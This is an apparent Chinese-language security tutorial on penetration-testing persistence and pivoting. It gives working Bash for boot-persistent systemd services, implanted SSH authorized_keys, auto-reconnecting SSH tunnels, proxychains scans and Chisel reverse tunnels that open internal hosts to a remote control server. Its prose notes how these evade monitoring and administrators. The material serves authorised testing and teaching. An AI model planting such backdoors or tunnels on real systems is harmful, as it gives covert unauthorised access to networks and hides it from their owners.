在資訊安全領域的滲透測試工作中,持久化技術與網路轉向機制構成了兩個關鍵的技術基石。持久化技術確保安全測試人員在取得目標系統初始存取權限之後,即使系統經歷重新啟動或例行維護程序,仍能維持對系統的持續控制能力。這種技術能力對於深度安全評估工作至關重要,因為許多潛在的系統弱點與安全漏洞需要長時間的持續觀察與深入分析才能完整揭露。網路轉向技術則賦予測試人員利用已掌控系統作為跳板節點的能力,藉此探索並存取內部網路環境中其他原本無法直接觸及的系統資源與服務。
透過系統性地運用 Bash 指令碼配合相關的安全測試工具,資安團隊能夠建立起穩固可靠的測試基礎架構,進而深入發現目標環境中更深層次的安全議題與風險點。台灣的資安產業在面對日益複雜的網路威脅環境時,深入理解這些技術的運作原理與實踐方法,對於提升整體資安防護能力具有重要意義。本文將從實務角度出發,詳細解析這些技術的完整實作流程與應用策略。
systemd 服務機制的持久化實作
現代主流 Linux 發行版本普遍採用 systemd 作為系統初始化與服務管理程式,其提供的服務單元管理機制為持久化技術提供了理想的實作平台基礎。systemd 的服務單元檔案採用結構化的 INI 格式配置,能夠精確控制服務的啟動時機順序、執行環境參數與服務間的相依關係網路。透過建立自訂的 systemd 服務單元檔案,可以確保特定的測試程式在系統啟動過程中自動執行,從而達到持久化的技術目標。
建立 systemd 服務的完整過程需要在系統服務配置目錄中建立適當的單元定義檔案。服務單元檔案包含三個主要配置區段,分別是 Unit 區段用於描述服務的基本資訊內容與相依性設定、Service 區段定義服務的執行方式與環境變數參數、Install 區段則指定服務的安裝目標階段與啟動時機控制。以下展示如何建立一個完整的持久化服務配置。
#!/usr/bin/env bash
# 建立 systemd 服務單元檔案
sudo bash -c 'cat > /etc/systemd/system/system-monitor.service << EOF
[Unit]
Description=System Resource Monitoring Service
Documentation=https://internal.docs.example.com
After=network-online.target
Wants=network-online.target
ConditionPathExists=/usr/local/bin/monitor
[Service]
Type=simple
ExecStart=/usr/local/bin/monitor --daemon
ExecReload=/bin/kill -HUP \$MAINPID
Restart=on-failure
RestartSec=30
StartLimitInterval=200
StartLimitBurst=5
User=systemmonitor
Group=systemmonitor
WorkingDirectory=/var/lib/systemmonitor
StandardOutput=journal
StandardError=journal
SyslogIdentifier=system-monitor
[Install]
WantedBy=multi-user.target
Alias=sysmonitor.service
EOF'
# 重新載入 systemd 配置
sudo systemctl daemon-reload
# 啟用服務開機自動啟動
sudo systemctl enable system-monitor.service
# 立即啟動服務
sudo systemctl start system-monitor.service
# 檢查服務狀態
sudo systemctl status system-monitor.service
# 查看服務日誌
sudo journalctl -u system-monitor.service -f
這段指令碼首先透過 heredoc 語法建立完整的服務單元配置檔案。Unit 區段中的 After 與 Wants 指令確保服務在網路連線完全建立之後才開始啟動執行。ConditionPathExists 指令提供了執行前置條件檢查,只有當指定的執行檔案路徑存在時服務才會啟動。Service 區段中的 ExecStart 指令定義了實際執行的程式路徑與啟動參數,Restart 與 RestartSec 參數則配置了服務失敗時的自動重啟機制與重試間隔時間。StartLimitInterval 與 StartLimitBurst 參數控制啟動失敗的速率限制,防止服務反覆快速重啟造成系統資源耗盡。
StandardOutput 與 StandardError 配置為 journal 選項,將服務的輸出資訊導向 systemd 日誌系統,便於後續的問題診斷與追蹤分析。SyslogIdentifier 參數設定了日誌記錄中使用的識別標籤,有助於從大量系統日誌中快速篩選出特定服務的相關記錄。Install 區段指定服務應該在多使用者目標階段啟動,這是絕大多數 Linux 系統的標準執行階段。Alias 選項提供了服務的替代名稱,方便使用較短的命令名稱進行管理操作。
執行 systemctl daemon-reload 命令會強制 systemd 重新掃描並載入所有服務單元的配置變更,使新建立的服務單元被系統正確識別。enable 命令在適當的目標目錄中建立必要的符號連結,確保服務在系統開機啟動序列中被自動執行。start 命令則立即啟動服務進行運行,無需等待系統重新開機。這種實作方法的技術優勢在於充分利用了系統原生的服務管理機制,在正常的系統管理活動中較不容易引起安全監控系統的特別注意。
@startuml
!define PLANTUML_FORMAT svg
!theme _none_
skinparam dpi auto
skinparam shadowing false
skinparam linetype ortho
skinparam roundcorner 5
skinparam defaultFontName "Microsoft JhengHei UI"
skinparam defaultFontSize 16
skinparam minClassWidth 140
start
:建立服務單元檔案;
note right
檔案位置:
/etc/systemd/system/
服務名稱.service
end note
:配置 Unit 區段;
note right
**基本資訊設定:
Description 服務描述
After 啟動順序
Wants 弱相依關係
ConditionPathExists 條件檢查
end note
:配置 Service 區段;
note right
**執行參數設定:
Type 服務類型
ExecStart 啟動命令
Restart 重啟策略
User 執行使用者
WorkingDirectory 工作目錄
end note
:配置 Install 區段;
note right
**安裝目標設定:
WantedBy 目標階段
Alias 服務別名
end note
:重新載入 systemd 配置;
:啟用服務自動啟動;
:立即啟動服務運行;
if (服務啟動成功?) then (是)
:服務進入運行狀態;
:持久化機制生效;
else (否)
:檢查錯誤日誌;
:修正配置問題;
endif
stop
@endumlSSH 授權金鑰的持久化策略
SSH 公開金鑰認證機制提供了另一種極為有效且相對隱蔽的持久化技術途徑。這種方法的核心技術優勢在於完全不需要修改系統的核心二進位執行檔案或建立新的使用者帳戶記錄,僅需要在目標使用者的 SSH 配置目錄中適當新增授權公開金鑰內容,即可實現無需密碼驗證的遠端登入能力。相較於其他持久化技術手段,SSH 金鑰認證方式在正常的系統安全稽核過程中較不容易被識別為異常活動,因為公開金鑰檔案的存在完全符合標準系統管理的常規實踐模式。
SSH 授權金鑰機制的運作基礎建立在非對稱加密技術之上。每個系統使用者在其個人家目錄下的隱藏 .ssh 子目錄中維護一個 authorized_keys 配置檔案,該檔案可以包含多個不同來源的公開金鑰記錄。當遠端 SSH 客戶端嘗試建立連線時,SSH 伺服器程式會將客戶端提供的公開金鑰內容與本地 authorized_keys 檔案中儲存的所有金鑰記錄進行逐一比對。若成功找到相符的金鑰記錄,伺服器會使用該公開金鑰加密一段隨機產生的挑戰資料並傳送給客戶端,客戶端必須使用對應的私密金鑰正確解密並回傳經過雜湊運算的驗證值,才能完成整個認證程序並建立安全連線。
#!/usr/bin/env bash
# 在測試控制端產生 SSH 金鑰對
ssh-keygen -t ed25519 -f ~/.ssh/test_access_key -N "" -C "test@control.local"
# 產生備用的 RSA 金鑰對(相容性考量)
ssh-keygen -t rsa -b 4096 -f ~/.ssh/test_access_rsa -N "" -C "test@control.local"
# 讀取公開金鑰內容
echo "Ed25519 公開金鑰:"
cat ~/.ssh/test_access_key.pub
echo "RSA 公開金鑰:"
cat ~/.ssh/test_access_rsa.pub
# 在目標系統上配置授權金鑰
# 建立 SSH 配置目錄
mkdir -p ~/.ssh
chmod 700 ~/.ssh
# 新增公開金鑰到授權清單
cat >> ~/.ssh/authorized_keys << 'EOF'
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG... test@control.local
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC... test@control.local
EOF
# 設定正確的檔案權限
chmod 600 ~/.ssh/authorized_keys
# 設定目錄與檔案的擁有者
chown -R $USER:$USER ~/.ssh
# 備份原始授權金鑰檔案
cp ~/.ssh/authorized_keys ~/.ssh/authorized_keys.backup
# 從測試控制端進行連線驗證
ssh -i ~/.ssh/test_access_key target_user@target_host
# 使用 SSH 配置檔案簡化連線
cat >> ~/.ssh/config << 'EOF'
Host target-system
HostName target_host
User target_user
IdentityFile ~/.ssh/test_access_key
ServerAliveInterval 60
ServerAliveCountMax 3
StrictHostKeyChecking no
EOF
chmod 600 ~/.ssh/config
# 簡化的連線方式
ssh target-system
檔案與目錄權限的正確配置對於 SSH 金鑰認證機制的正常運作至關重要。.ssh 配置目錄必須設定為 700 八進位權限模式,確保只有目錄擁有者具備完整的讀取、寫入與執行權限。authorized_keys 授權金鑰檔案則應該嚴格設定為 600 權限模式,防止系統中的其他使用者帳戶讀取或修改金鑰內容。若這些權限設定不符合 SSH 伺服器的安全要求標準,伺服器程式會基於安全防護考量直接拒絕使用該金鑰檔案進行身份認證操作。
進階的持久化策略技術可以在 authorized_keys 檔案的金鑰記錄前方加入特定的限制選項字串。透過在公開金鑰內容之前插入適當配置的選項參數,可以精確限制使用該金鑰登入時能夠執行的命令範圍集合,或是強制執行特定的環境變數設定與工作目錄配置。這種精細化的訪問控制技術能夠在保持系統存取能力的同時,有效降低被系統管理員發現異常行為模式的潛在風險,提升持久化機制的隱蔽性與存活時間。
@startuml
!define PLANTUML_FORMAT svg
!theme _none_
skinparam dpi auto
skinparam shadowing false
skinparam linetype ortho
skinparam roundcorner 5
skinparam defaultFontName "Microsoft JhengHei UI"
skinparam defaultFontSize 16
skinparam minClassWidth 140
actor "測試控制端" as control
participant "SSH 客戶端" as client
participant "網路連線" as network
participant "SSH 伺服器" as server
database "authorized_keys" as authkeys
actor "目標系統" as target
control -> control: 產生金鑰對
activate control
note right
**金鑰類型選擇:
Ed25519 現代化
RSA 傳統相容
ECDSA 橢圓曲線
end note
control -> target: 傳送公開金鑰
deactivate control
activate target
target -> authkeys: 寫入授權金鑰
note right
**檔案權限要求:
~/.ssh 目錄 700
authorized_keys 600
end note
deactivate target
control -> client: 發起 SSH 連線
activate client
client -> network: 傳送連線請求
activate network
network -> server: 建立 TCP 連線
activate server
server -> authkeys: 查詢授權金鑰
authkeys --> server: 金鑰記錄符合
server -> client: 傳送加密挑戰
deactivate server
client -> client: 使用私鑰解密
note right
**認證流程:
接收挑戰資料
私鑰解密運算
計算雜湊值
回傳認證資訊
end note
client -> network: 回傳認證資訊
network -> server: 驗證認證資訊
activate server
server --> client: 授權連線建立
deactivate server
deactivate network
client --> control: Shell 會話建立
deactivate client
@endumlSSH 隧道的網路轉向技術
SSH 協定除了提供安全的遠端登入功能之外,其內建的連接埠轉向與加密隧道建立能力使其成為網路轉向技術領域中的核心工具。透過建立 SSH 加密隧道可以在安全通道內傳輸任意類型的網路流量資料,有效地繞過嚴格的防火牆規則限制並順利存取內部網路環境中的各種系統資源與服務。SSH 協定支援三種主要的流量轉向運作模式,分別是本地連接埠轉向、遠端連接埠轉向與動態 SOCKS 代理轉向,每種技術模式都適用於不同的網路拓撲結構與特定的測試需求場景。
本地連接埠轉向模式將測試控制端本機系統的特定 TCP 連接埠號對應映射到目標內部網路環境中某個指定主機的服務連接埠。當本機應用程式嘗試連線到本地轉向連接埠時,所有的網路流量資料都會透過建立的 SSH 加密隧道安全傳送到遠端跳板主機,再由遠端主機代為發起連線到最終的目標服務系統。這種轉向模式特別適合用於存取內部網路環境中單一特定服務的測試情境,例如直接存取內部的資料庫管理系統或是 Web 管理控制介面。
#!/usr/bin/env bash
# 基本的本地連接埠轉向設定
# 將本機連接埠 8080 對應到內部伺服器的 HTTP 服務
ssh -L 8080:internal-web.corp.local:80 user@jump-host.example.com
# 透過本地轉向存取內部 Web 服務
curl http://localhost:8080
# 多重本地連接埠轉向配置
# 同時轉向多個不同的內部服務
ssh -L 8080:web-server:80 \
-L 3306:mysql-server:3306 \
-L 5432:postgres-server:5432 \
-L 6379:redis-server:6379 \
user@jump-host.example.com
# 使用背景模式建立持久隧道
ssh -f -N -L 8080:internal-web:80 user@jump-host
# 動態 SOCKS 代理模式
# 在本機連接埠 9050 建立 SOCKS5 代理伺服器
ssh -D 9050 user@jump-host.example.com
# 設定應用程式使用 SOCKS 代理存取內部網路
curl --socks5 localhost:9050 http://internal-server.corp.local
# 遠端連接埠轉向設定
# 將遠端主機連接埠對應回本機服務
ssh -R 8080:localhost:80 user@jump-host
# 建立完整的自動重連隧道配置
cat > ~/ssh_tunnel.sh << 'EOF'
#!/bin/bash
JUMP_HOST="user@jump-host.example.com"
LOCAL_PORT=9050
RETRY_DELAY=10
while true; do
echo "[$(date)] 建立 SSH 隧道連線..."
ssh -N -D ${LOCAL_PORT} \
-o ServerAliveInterval=60 \
-o ServerAliveCountMax=3 \
-o ExitOnForwardFailure=yes \
-o StrictHostKeyChecking=no \
${JUMP_HOST}
echo "[$(date)] 連線中斷,等待 ${RETRY_DELAY} 秒後重試..."
sleep ${RETRY_DELAY}
done
EOF
chmod +x ~/ssh_tunnel.sh
# 使用 systemd 管理 SSH 隧道服務
sudo bash -c 'cat > /etc/systemd/system/ssh-tunnel.service << EOF
[Unit]
Description=SSH Tunnel Service
After=network.target
[Service]
Type=simple
User=testuser
ExecStart=/home/testuser/ssh_tunnel.sh
Restart=always
RestartSec=10
[Install]
WantedBy=multi-user.target
EOF'
sudo systemctl daemon-reload
sudo systemctl enable ssh-tunnel.service
sudo systemctl start ssh-tunnel.service
SSH 隧道技術支援多種進階命令參數來精確優化連線行為表現與資源使用效率。-N 參數明確告訴 SSH 客戶端程式不要在遠端系統上執行任何互動式命令,僅建立加密隧道連線進行流量轉發。-f 參數使 SSH 程式在成功建立連線後自動轉入背景執行模式,適合用於建立需要長時間保持的持久隧道連線。-C 參數啟用資料流壓縮功能,在網路頻寬嚴重受限的測試環境中能夠有效改善整體傳輸效能表現。組合使用這些技術參數可以建立穩定可靠且運行高效的網路隧道基礎設施。
@startuml
!define PLANTUML_FORMAT svg
!theme _none_
skinparam dpi auto
skinparam shadowing false
skinparam linetype ortho
skinparam roundcorner 5
skinparam defaultFontName "Microsoft JhengHei UI"
skinparam defaultFontSize 16
skinparam minClassWidth 150
package "SSH 隧道網路架構" {
node "測試控制端" as control {
component "本地應用程式" as app
component "本地連接埠" as localport
component "SSH 客戶端" as sshclient
}
cloud "SSH 加密隧道" as tunnel {
note right
**加密保護:
AES-256-GCM
ChaCha20-Poly1305
**壓縮選項:
zlib 壓縮演算法
end note
}
node "跳板主機" as jump {
component "SSH 伺服器" as sshserver
component "轉向處理器" as forwarder
}
node "內部網路環境" as internal {
database "資料庫伺服器" as db
component "Web 應用伺服器" as web
component "管理控制介面" as admin
component "快取伺服器" as cache
}
app -right-> localport: 本地連線
localport -down-> sshclient: 流量轉發
sshclient -down-> tunnel: 加密傳輸
tunnel -down-> sshserver: 安全通道
sshserver -down-> forwarder: 解密處理
forwarder -right-> db: MySQL/PostgreSQL
forwarder -down-> web: HTTP/HTTPS
forwarder --> admin: 管理介面
forwarder --> cache: Redis/Memcached
}
@endumlProxychains 與 Chisel 工具整合
Proxychains 是一個功能完整且運作穩定的代理鏈管理工具,能夠強制任意應用程式的網路連線透過指定的代理伺服器鏈路進行傳輸。其核心技術優勢在於應用程式本身完全無需內建支援代理伺服器設定功能,Proxychains 透過動態連結函式庫攔截技術攔截並修改應用程式的底層系統呼叫,將所有網路連線請求自動重新導向到預先配置的代理伺服器鏈路。這種機制使得傳統上不支援代理配置的安全測試工具如 nmap 網路掃描器、Metasploit 滲透測試框架等,都能夠透過 Proxychains 進行完整的網路轉向操作。
Chisel 則是一個採用 Go 語言開發的現代化快速 TCP/UDP 隧道建立工具,透過標準 HTTP 協定傳輸並採用 SSH 加密技術保護資料安全。其主要技術優勢在於目標系統無需預先安裝配置完整的 SSH 伺服器服務,僅需要一個獨立的 Chisel 可執行檔案即可建立功能完整的加密隧道基礎設施。Chisel 完整支援正向隧道與反向隧道兩種運作模式,並能透過 SOCKS5 代理協定提供動態的連接埠轉向能力,是現代滲透測試工具組合中的重要技術成員。
#!/usr/bin/env bash
# Proxychains 配置檔案編輯
sudo tee /etc/proxychains4.conf > /dev/null << 'EOF'
# Proxychains 動態鏈模式配置
dynamic_chain
# DNS 請求透過代理進行
proxy_dns
# 連線超時設定
tcp_read_time_out 15000
tcp_connect_time_out 8000
# 代理伺服器清單
[ProxyList]
socks5 127.0.0.1 9050
socks5 127.0.0.1 9051
EOF
# 驗證 Proxychains 配置
proxychains4 curl http://ifconfig.me
# 透過 Proxychains 執行網路掃描
proxychains4 -q nmap -sT -Pn -p 22,80,443,3389 192.168.1.0/24
# Chisel 伺服器端啟動配置
./chisel server \
--port 8080 \
--reverse \
--socks5 \
--auth "testuser:testpass" \
--keepalive 30s
# Chisel 客戶端反向連線配置
./chisel client \
--auth "testuser:testpass" \
--keepalive 30s \
https://control-server:8080 \
R:socks \
R:8080:internal-web:80 \
R:3306:internal-db:3306
# 建立 Chisel 自動重連指令碼
cat > ~/chisel_client.sh << 'EOF'
#!/bin/bash
SERVER="https://control-server:8080"
AUTH="testuser:testpass"
while true; do
echo "[$(date)] 建立 Chisel 隧道..."
./chisel client \
--auth "${AUTH}" \
--keepalive 30s \
"${SERVER}" \
R:socks \
R:8080:internal-web:80
echo "[$(date)] 連線中斷,等待重試..."
sleep 10
done
EOF
chmod +x ~/chisel_client.sh
玄貓認為,深入理解持久化機制與網路轉向技術的運作原理與實作細節,對於執行有效完整的資訊安全評估工作至關重要。這些技術手段的實際應用需要根據目標環境的具體網路拓撲特性與安全防護機制進行適當調整,選擇最符合測試需求的工具組合與配置參數設定。台灣的資安專業人員應該持續關注新興的技術繞過手段與相應的防禦措施發展,並在隔離的實驗環境中進行充分的技術測試驗證,才能確保在實際安全評估工作中運用自如。
網路轉向技術不僅僅是純粹的技術操作執行,更需要對複雜的網路架構拓撲與多層次的安全防護機制有深刻透徹的理解認識,才能夠設計出真正有效可行的測試路徑方案。在追求技術深度專業性的同時,所有資安從業人員務必嚴格遵守相關法律法規要求與職業道德規範準則,確保所有的安全測試活動都在明確合法授權的範圍內依規進行,維護台灣資安產業的專業形象與社會信任基礎。